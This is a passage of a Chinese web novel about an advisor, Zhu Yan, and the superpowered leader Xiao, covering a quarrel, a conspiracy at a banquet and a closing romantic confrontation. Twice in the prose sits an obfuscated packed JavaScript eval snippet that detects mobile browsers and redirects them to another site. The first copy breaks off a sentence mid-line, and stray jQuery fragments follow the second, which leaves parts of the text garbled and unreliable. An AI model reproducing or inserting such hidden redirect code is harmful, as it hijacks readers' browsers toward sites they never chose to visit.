他从没尝过自卑的滋味，以致于觉得这些内耗，是自己变得成熟，拥有反思这一美德的证明。 成熟的首领，不会再说出“打不开门就毁了”这种话，他应该像祝晏那样，对一切都毫不在乎。 他用最快的速度平静下来，用最冷漠的态度道。 “我没有。” “祝先生，你还是对现在的世界不太了解。” “我是基地第一强者，只要我想，这个基地的所有人都会争着做我的情人。” “是么。” 祝晏的态度还是那样平静如水，对着他翘了翘嘴角。 漂亮的清冷美人微笑，无疑是珍贵又惊艳的。 枭一面控制不住欣赏，一面听到这世上最冰冷的应答：“那就好，恰好我也想对首领说，我们的身份不适合成为情侣，这会改变基地的性质，甚至造成基地分裂，我们之间有隔阂，有对抗，才能更顺利地推行计划。” “好啊。” 枭无声呼出一阵长气：“那就请你搬出首领府，我们的身份，也不适合住在一起。” 祝晏像个软柿子，被赶出门也不怨恨：“好的。” “咣。” 这次他真的走了。 “啧啧。” 系统头一次开始同情反派：“真是可怜。” 随即又开心起来：“这下没人给你脱敏治疗了。” 但下一秒，它的声音就卡住了。 首领府，枭一进去就抓住了它的拟态母鸡，塞进了阿金用异能铸成的纯金笼子，不轻不重地在上面踢了一脚，脸上是十分反派的黑化冷笑：“我不信，你能忍住不来求我。” 祝晏：我能。 系统：…… 反派其实你可以正常一点，祝晏你也可以不那么无情。 25. 文明火种-25 祝顾问从首领府搬出去了，疑似交恶。 没有网络媒体的异能者们照样消息灵通，何况印刷厂重启，已经有人经过申请，办起了报纸。 几乎所有异能者都能感受到基地风向的变化。 普通高阶们当然是高兴的，他们不否认祝晏是个好人，但毕竟也是祝晏来了，才让他们失去皇帝一般的生活。 低阶们一开始担心祝晏跟枭交恶，会导致基地回到之前的日子，后来发现所有新法和新政都在顺利进行，研究所管辖的监察队甚至抓了一个在街上无故杀人的高阶官员，反而觉得这样不错，祝晏能跟首领交恶又不影响地位，说明基地的新法是真的有效。 现在比较公认的说法是：高阶强者们每天都要去首领府，祝晏搬到研究所是出于避嫌，两个建筑只隔了一条街，他们之间的爱恨情仇仍旧在继续。 至于留言的细节，那就是一对一和多人齐上阵，异能者没有什么贞操观，相比被一张结婚证绑定，他们更愿意相信故事情节是强者们争夺情人。 系统原本还在难过自己在祝晏脑海中的本体和拟态久久相隔两地，发现神圣值会因为基地平民的猜测上下浮动后，一点没有了让祝晏接母鸡回来的心思。 吵架好，吵架能遏制流言。 最新一次的晨间例会上，首领又和祝顾问产生了分歧。 “我不同意。” 男人把手上的报告一扔：“高阶现在属于军队，军人不能自己挑战场。” “但他有晕血症状，也承受不住捕杀变异动物的心理压力，已经出现了严重的自残问题，” 祝晏稍稍坐直，用身体挡住枭投向提交报告的高阶的视线：“那是否可以先把它调离现在的小队，转到后勤？” “看不了捕杀，但还能吃的进去肉。” 枭冷道：“祝顾问，军队的事好像不归你管。” 祝晏：“我能管理基地所有人员的升降和调任，这是首领你给的权力。” 枭不说话，态度强硬，仍旧不肯在调任申请上签字。 “祝顾问，他是珍贵的风系异能者，风系异能的攻击力虽然不是最强的，却有最快的速度和最高的持续时间，整个基地，能靠风系异能追捕变异动物的只有两个人，一个在第一小队，另一个就是他。” 重岩耐心地给祝晏解释：“我们最多能同意他只参与追捕，捕杀的时候让他离远一点。” 枭发出一声冷哼。 “我明白这是为了基地的利益，” 祝晏蹙眉：“但也要考虑到个人的感情和愿望，我从心理医学的角度出发，按照他现在的心理状况，最多只能工作一年，从长远来看，还是调任更能创造价值。” 在座的高阶们原本看得饶有兴趣，低阶们也不喜欢听祝晏为高阶谋取利益，但听到这句话，两方都变了表情。 在很多人眼里，祝晏给基地带来的改变大刀阔斧，每一个都能带来巨大影响，对结果的预估准确得像ai，还以为他眼中只有“人类”和“人类文明”这样宏大的内容，没想到一个常理上和他立场相左，在基地又没什么话语权的高阶，也能让他对上恐怖的首领，据理力争。 枭抱臂：“你想让他做什么？” 祝晏：“看管风力发电机，有高阶异能者在，电力产量能提升四倍。” 他见枭隐隐有被说服的迹象，再接再厉道：“他已经提出，愿意放弃军队的一切福利，关于捕猎动物……研究所这边也会加快驯兽场和饲养场的建立，很快我们就能培育出对人类没有攻击性的动物……” 会议的最后以枭的妥协结束，祝晏一反常态，放下手中的文件，看起来想留下跟枭说点什么，男人却不给他机会，拎着手里的鸡笼子就出去了。 重岩看着枭的背影离开，转头朝祝晏笑笑：“祝先生有事要告诉首领吗？他最近有点忙，我可以替你转达。” “不用了。” 祝晏摇了摇头：“不是什么重要的事。” 重岩：“那我送你回研究所吧，我们还没找到ai叛徒，你在外面不安全。” 祝晏这回答应了：“谢谢。” 被无视的阿金撇撇嘴，抬头看了看天花板，自言自语般嘀咕起来：“副首领遇到什么好事了，天天笑的这么开心，还每天都找祝先生聊几个小时的天。” “咔嚓”一声，楼顶传来硬物断裂的声音和几声鸡叫。 重岩回头，看起来丝毫不介意，也朝阿金礼貌地笑了笑。 研究所内，林筝又看到重岩，也忍不住烦躁。 他承认重岩不错，当初也愿意跟他一起弹劾首领，但他现在来的是不是太多了？ 重岩用的理由是想通过历史了解更多平衡基地各势力的办法，但没有任何一个网课会细致地，在历史长河一寸一寸顺流而下，讲清楚其中每一个事件中蕴藏的厚黑学。 这个理由简直是针对祝晏的猫薄荷，导致休息时间都被压缩，就因为被他缠上，现在都睡不上十一个小时了！ 最关键的是，他来了自己就不能去请教！ 虽然有网课在手，但他还是最喜欢向祝晏提问。 祝先生好像无所不知，讲课时清冽的嗓音和平和稳定的讲解，都让听的人感觉有水在心头流淌。 可恶可恶可恶。 林筝拿着本子旁听，一边奋笔疾书，一边祈祷重岩快走。 而世界就像是以他为主角的作品，重岩听了不到一个小时，真的提出要走了。 “还有一点工作没做完 ，我明天再来请教。” 林筝兴奋地接替他的位置，抱着自己的笔记上前：“祝先生，关于你说的用异能修复器官……” * 而此时，重岩赶到B区，在刘老的住宅外遇到了枭。 刘老的住宅和笛老的小屋不同，是前文明的一个大酒店，最大的展厅能站满上千人。 他在会议结束就给所有的基地高层都送了邀请函，说是要举行一场属于异能者自己的酒会。 笛老去世，整个基地只有一个人没有异能。 孤立的是谁，显而易见。 枭拎着金笼子，看到重岩出现在这里，冷笑了一声。 重岩朝他礼貌地笑笑，却看不出任何尊敬。 “首领，原来你也来了。” 枭：“何止。” 他踏入场地，只见前几天围在祝晏身边求摸头的高阶异能者几乎都到场了。 除了收到邀请函时就骂骂咧咧的成熠是跟着他来的，高阶强者中，也只有银雪和雷系的女将军雷霆没到。 看，祝晏，这就是教给他们知识的后果。 知识让人复杂，这些人能够为了祝晏站到他的对面，却也能为了异能者的利益，参加这种孤立祝晏的集会。 哪怕其中有人只是想知己知彼，或者纯粹好奇刘老的意图，没有告诉祝晏就过来，对爱憎的人来说，这就是背叛。 包括他。 将军们被其他高阶低阶围着讨论巴结，互相看一眼，脸上都默契地挂着内疚和尴尬，见枭的到场让所有人都安静下来，这才找到主心骨一般，走到他的身后。 刘老见首领来了，立即宣布宴会开始，宴会上提供他用能量块从首领府购买的，各种味道的营养液，许多刚升职的低阶从未喝过营养液，对刘老的态度极尽谄媚，一副感恩戴德的模样。 枭看得心烦，抬手挡住了刘老的邀请。 其他人看到那些眼熟的营养液，只觉得更加羞愧，和枭一样直愣愣地站着，等着刘老说明他叫所有异能者高层过来的目的。 “我邀请大家过来，主要是想讨论一下，关于我们是不是要完全按照祝顾问的计划发展基地。” 枭冷嗤，转身要走，被一群老人哭着喊着拦下。 “首领！你知道祝顾问的吐真-剂吗！” 枭脚步一顿，随后就被刘老抓住了胳膊。 “首领，你代表的是我们整个基地，所有的异能者，你一定要听我说完！” 刘老抬手，擦眼泪一样抚摸自己苍老的脸：“我年纪大了，活不长了，这么做，完全是为了基地的所有人！” “首领，我没有诋毁祝先生的意思，但你应该能理解，对于现在的人类来说，祝先生的很多东西，都不适合出现。” “他有能让人失去控制说真话的吐真-剂，也会有其他更厉害的药剂，他能做出防御一切伤害的身份卡金钟罩，同样也能拿出攻击异能者的武器！” 在场几乎所有人都不知道祝晏使用吐真-剂问讯的事情，闻言不由集中起精神，皱眉思索。 枭打断他：“是祝望女士，发明金钟罩的人是祝望女士。” “这不重要。” 刘老把话题扯回来：“还有他提到的，涅槃给基地提供的知识和资源都是经过筛选的，他给我们展现的，根本不是完整的前文明，他对我们还有保留！” 又是一个新消息。 有些人随着刘老的话动摇，开始想象祝晏到底筛选了什么知识，有没有隐瞒什么前人类留给他们的重要资源。 枭扫视了一眼，没有看到笛一，但祝晏问讯AI叛徒时，在场的互助会成员只有林筝和笛一，这些事可能就是笛一告诉他的。 系统蹲在笼子里，一声不吭，听着祝晏的神圣值起起伏伏，有点想骂人。 难怪祝晏穿来第一天笑了那么久，联盟真是有够恨的，给祝晏安排了这个世界。 刘老孩子继续：“如果不控制，就算他不想，整个基地，也会沦为他的傀儡，就算他能消灭AI，他也会是下一个AI！” “所以我建议，废除祝顾问的职务，将他控制在基地内，交出涅槃的所有资源和信息，再……” “你等等。” 成熠打断了刘老留着眼泪，语重心长的演讲：“你先说，祝先生带来的东西太厉害了，我们没有前文明那么完善的制度和科技，用不明白。” 刘老莫名：“是这样，没错。” 成熠：“然后你又说，祝先生教给我们的知识，给我们的东西经过筛选。” 刘老：“是。” 成熠：“那他筛选的不就是那些用不明白，不适合给我们知道的东西么？” 话落，现场落针可闻，很多人这才意识到自己的脑子随着知识的进入，也变得复杂了，成熠说的……也太有道理了。 旁边的将军们也都震惊地看着他，仿佛重新认识了这个人。 “你们自己摸着良心问问，祝先生到基地之后，吃的用的好了多少，从分子到异能，前联盟所有的历史和艺术，也都给我们看了。 别说你们不知道，他来之前，低阶都要一起离开基地了，现在基地越来越好，还开了新城区，你们还想要什么？” 一片安静中，成熠越说越激动：“有祝先生在，高阶出任务的危险降低了多少，你们自己心里没数？来参会的高阶都特么不要脸，低阶更不是人，没有祝先生，你们现在还给高阶做奴隶呢。” “不信任祝先生是么，你们别吃他带过来的营养液啊，粮食站建立之前，基地仓库的能量块不够你们吃一个月的，要不是祝先生无条件把涅槃的营养液给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群中，风系异能者突然喷出一口血，在见到自己的血后，翻了个白眼，腿软了下去。 其他异能者虽然也来参加了，但同样看不惯他这个享受了祝先生好处的人如此明目张胆的背叛，没人管他。 等大家回过神，想要提出离开，一抬头，发现枭和将军们早就离开，只留愤怒却开不了口的刘老捂着心口，被手下扶着坐下。 出了B区，成熠小声问枭：“首领，我骂的怎么样，没落下哪句吧？” “完成的不错。” 男人慷慨地夸奖，用异能触须在笼子里乱戳，不轻不重地敲打母鸡脑袋。 系统：…… 反派，你如果知道操纵母鸡的是祝晏的系统，你会后悔的。 但他不知道，见母鸡愤怒仰头，要啄他的手，还嗤笑了一声。 成熠：…… 枭注意到他的犹豫，问道：“还有什么事？” 成熠的情绪来得很快，他揉了下湿润的眼睛：“我……我想去看看祝先生。” 枭：…… 他道：“那就去。” 成熠：“首领，你不去吗？” “我和祝先生只是普通的合作伙伴。” 男人的俊脸严肃冷峻：“不适合频繁见面。” 成熠：“你不给他治病了？” 枭：“他已经好了。” “好了吗？” 成熠松了口气：“我看祝先生还戴着手套，以为他是怕我们担心才说了假话。” 男人戳母鸡脑袋的动作一顿。 成熠：“要是没痊愈，他这么多天工作休息都是一个人，该有多孤单难过。” 枭：…… 成熠：“那首领，我走了？” 枭：“滚。” 成熠走了两步，再次回头。 见枭黑沉的双眸微眯，连忙加速跑了。 枭拎着笼子，用这辈子没用过的散步慢速往首领府走。 “你看什么？” 他突然训斥笼子里的母鸡：“你主人先说的，用不着我，他想找人治病，可以去找那个治疗异能。” 母鸡：“咕咕。” 系统无语：谁看你了。 枭：“以他的聪明，看到异能者都往B区跑，猜不到我们有事瞒着他？” 系统：…… 他不用猜，我给他转播了，他还夸你是个好人呢。 母鸡：“咕咕。” 枭：“他才是最傻的，知道那么多历史，不清楚升米恩斗米仇的道理。” 系统：（叹气）没办法，是为了神圣值。 “咕咕。” 男人突然停下脚步：“我不该说他没有感情，他有感情，只是愚蠢地分给了所有人，那些不会感恩的人。” “咕咕。” 枭不由想到，当这群享受了好处的异能者凑在一起时，祝晏在做什么？ 无非是为了试验田、养殖场、学校、监察队这些忙碌。 为了基地，为了人类忙碌。 他深吸一口气，拎起笼子，一双黑沉如水的眸子盯上了母鸡。 系统打了个寒战。 枭声音沉重：“你是不是想他了？” 系统：…… 他就在祝晏的脑子里，想不了一点。 载体母鸡：“咕咕。” “行，” 男人勉为其难道：“既然你这么想他，就送你回去。” 26. 文明火种-26 枭拎着系统到达祝晏在研究所的房间时，祝晏正被一群高阶强者簇拥在中间，对面的投影放着《兔子博士》第二季。 投影中，兔子博士给大森林的伙伴们通了电，但是通电后，小猫因为熬夜看电视错过了约会，小马因为忘记关冰箱，被冷气冻感冒了，小狗因为调错了烤箱的加热时间，把蛋挞烤糊了……最后大家商量得出结论：电不是个好东西！兔子博士变了！ 于是他们扯坏了所有的电线，把兔子博士赶到了山上。 可兔子博士离开后，森林动物们又开始怀念有电的日子，纷纷上山道歉。 兔子博士却没有直接给他们通电，反而先教他们如何使用用电器，再教会他们如何给大森林通电，大家重新用上了电，更珍惜有电的生活，兔子博士也意外发现山上的新家更漂亮更舒服，留在了新家，从此开启了第二季的故事。 林筝看得津津有味，但其他人看到最后，都有些心虚，总觉得被祝先生骂了。 但看电视是他们要求的，《兔子博士》也是他们自己选的。 祝晏按了暂停，回头看向已经在后面站了很久的祝晏：“首领怎么来了。” 枭是后来的，并不清楚是高阶强者们选的这一集，直接问道：“你知道了？” “首领，这部是我们选的。” 银雪和雷霆也在其列，在他们参加宴会前就过来了，打断枭，是提醒他，她们没有告密，祝晏还不知道这件事。 令人意外的是，祝晏紧接着就应道：“知道了。” 祝先生知道了！ 平日威风强大的将军们都僵在原地，眼睛东看西看，就是不敢对上祝晏。 林筝听得一头雾水：“知道什么？” 银雪：“抱歉，祝先生……” “没什么好道歉的，” 祝晏见成熠的头快弯到胸口的，抬手帮他扶起来：“根据我的猜测，刘老还是想让我卸任，但你们没有接受对方的提议。” “是……” 成熠瞥了一眼枭：“是首领拒绝的，但是我，我也替您说话了。” 祝晏：“谢谢你们。” 强者们更加无地自容。 “我其实很欣慰。” 祝晏见他们还在愧疚，温声安慰：“你们能摒除个人感情，从基地的利益出发，是很大的进步。” 他看了一眼被暂停的《兔子博士》，声音带上了几分落寞：“反倒是我，有的时候急于求成，用错了方法。” “不！是我们对不起您！” “祝先生呜呜呜……” “我错了，祝先生，我真的是想着试探刘老才去的！” “您哪有什么错，都是我们背叛了您！” …… 强者们哭了一大半。 他们想象过祝晏如果知道了这件事，可能会生气，可能会表达失望和难过，而他们也准备好了解释和道歉的措辞…… 可是没想过，竟然是这个结果。 祝晏伤心了，却怕他们心里愧疚，反而安慰他们，甚至开始反省自己了！ 这下，不止不敢看祝晏，连林筝带着愤怒的灼灼目光也不敢对上。 【神圣值：91】 系统开心了：终于回到了90以上！ 同时，忍不住跟祝晏吐槽：还是没学到位，你这么普通的茶言茶语都听不出来。 这边，林筝猛然想起：“重岩今天突然离开，也是跟你们一起去了？” 大家这才意识到重岩不在，想到这些天重岩黏祝晏黏的最紧，此刻却没有出现，积攒的愧疚转化为愤怒，有了发泄口。 随即又卸了气，祝晏根本没有怪他们的意思，按照他的说法，重岩反而是他的优秀学生。 一群人磨磨蹭蹭，又赖了很长时间才走。 枭一直站在他们身后，不靠近也不远离，像个莫名其妙闯进别人家里的陌生人，不觉尴尬地站着。 见一群要离开的人过来，他放下笼子，就要跟着一起走。 紧接着，感觉到衣服一紧。 他回头，看见祝晏拉住了他的衣角：“首领，我还有话要跟你说。” 枭先是惊讶了一下，随后又想起，祝晏根本没有与他冷战，是他一直冷着脸，一副祝晏欠了他的模样，才让别人以为祝晏孤立无援，可以拿捏。 他重新提起笼子，把母鸡拎出来：“我来还鸡。” “看出来了。” 祝晏接过母鸡，随手往脚边一扔，在系统骂骂咧咧的声音中，带着枭去了房间的厨房。 这是研究所刚重新装修时祝晏让人修复的，如今果然有了用武之地。 他自己系上围裙：“试验田的第一批水稻成熟了，后天会送到粮食站，他们给了我一袋样品。” 说着，打开电饭锅，先是盛了一碗，又分出一碗，用可食用的变异蛋炒了个蛋炒饭，最后还炒了个青菜。 对于粮食站发的青菜，异能者一向是生吃，也只有枭这样看过《舌尖上的c星》的人，才能看懂祝晏在做什么。 男人看着碗里的大米，想起看过的资料，突然道：“七个月了？” 祝晏：“算上养土的事件，我已经来基地八个月了。” 七个月，对异能者来说，也就是一眨眼的时间。 枭盯着祝晏的背影：“我怎么觉得，好像认识祝先生很长时间了。” 祝晏动作顿了顿，随即摇头：“前人类有一百年寿命，异能者大概有三百年，七个月很短的。” 枭：“这七个月，基地的变化太多，几乎每一个异能者都有这种感觉。” “那说明我做的还可以？” 祝晏回头，推了下蒙上雾气的眼镜：“至少算是提你们延长了生命。” 枭发动异能，替他抹去了眼镜上的雾。 袅袅上升的白色烟雾中，祝晏炒菜的动作优雅有序，有一种令人放松警惕，忍不住觉得发困疲惫的舒服感觉，但枭怎么看都觉得别扭，只觉得他不应该做这种事，他就应该被保护得好好的，得到所有人的爱戴和呵护。 这种别扭，在被祝晏推到桌边坐下，面前摆好饭菜时，达到了顶峰。 枭拒绝了祝晏递来的筷子：“祝……先生，我不是他们，你不用安慰我。” “我亲手做的，给你做的。” 祝晏扬眉：“不喜欢吗？” 枭：…… 他接过筷子，吃了起来。 米香和油香顺着舌尖直达味蕾，柔软米饭的口感和碳水带来的充实感瞬间将人填满。 难怪祝晏不怕营养液被换完，有这样的食物，没有人会惦记空有味道的营养液。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14515683|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人三下五除二把两碗饭一盘菜炫光，这次，主动挑起了话题：“每个街区现在都在学习，街区官提交报告，说犯罪和斗殴事件都少了很多。” 祝晏欣慰道：“是好事啊。” 枭：…… 空气重新陷入沉默。 男人忍了半天，才抬起头，只是一开口，又是习惯性的质问：“祝先生对所有人都这么好，为什么唯独对我……” 祝晏：“首领觉得我对你不好吗？” 不，他对他很好。 帮他稳定地位，发展基地，还会在他被质疑的时候挺身而出，为他辩解。 但…… “那只是对基地首领的好，你对我就没有一点……” 祝晏：“首领是希望我回应你对我的感情。” 枭：…… 又来了，祝晏的敏锐和直白，有时真的会让他恐惧。 而正是因为他的直白，才让自己更加不敢亵渎，无法怀疑。 祝晏没打算听他的承认，倒了杯水递给他。 “今天的事，我不是哄人，我真的不在乎，因为无论其他人怎么看我，都不会影响我将完成的使命，但你不一样，首领。” “现在是人类存亡的重要时刻，人类需要一个强大、理性、智慧、无私的领导者，你的责任很重，所以不能有任何名声的瑕疵，不能被诋毁。 如果我们在一起，会引起无数猜忌，无论是我利用你传播前文明，还是你强迫我为你的仕途铺路，都会间接影响你的形象和个人魅力，引发民众的不信任。” 枭冷哼：“不用你给我讲这些大道理。” 他就是因为知道这些，才会生气，生气祝晏考虑基地，考虑人类，考虑所有人，唯独不考虑自己，也……不考虑他的个人感情。 空气再次安静。 枭突然发现，不只是他，祝晏也不知道该说什么。 这倒是奇了，祝晏竟然也有无措的时候。 意识到之后，男人反而不尴尬了，他抬起头，好整以暇地看着祝晏：“祝先生叫我留下，只是为了给我做一顿饭？” 祝晏规矩地坐在椅子上，放在腿上的双手握拳，低头抿了抿嘴。 他抬手推了下眼镜，才在男人戏谑的视线中开口：“我……有个不情之请。” 枭扬起下巴，示意他继续。 “……” 又沉默了半晌，祝晏才道：“我需要继续治疗。” 枭差点气笑了。 不能回应他的感情，却愿意继续“治疗”。 他把他当作什么，又把自己当作什么。 前文明不是很重视身体的纯洁吗？ 眼前的人仿佛又变成了那只会掏人心脏的纵欲小狐狸，一面享受人类拥抱的温度，一面将人心啃食得一点不剩。 “我知道这对你来说有些不公平，” 祝晏几次推眼镜，看起来有些苦恼：“我只是没想到，肌肤接触也会有成瘾性，哪怕克制住了身体反应，精神上也时不时会产生依恋，大大影响了我的工作效率，所以我觉得在研究出治疗药物之前……” “祝晏。” 男人抬手，握住青年细白的手腕，强硬地将它从眼镜下扯开，撑着身体站起，又逐渐压下来，高大的影子笼罩住祝晏单薄的身体：“你在向我求欢吗？”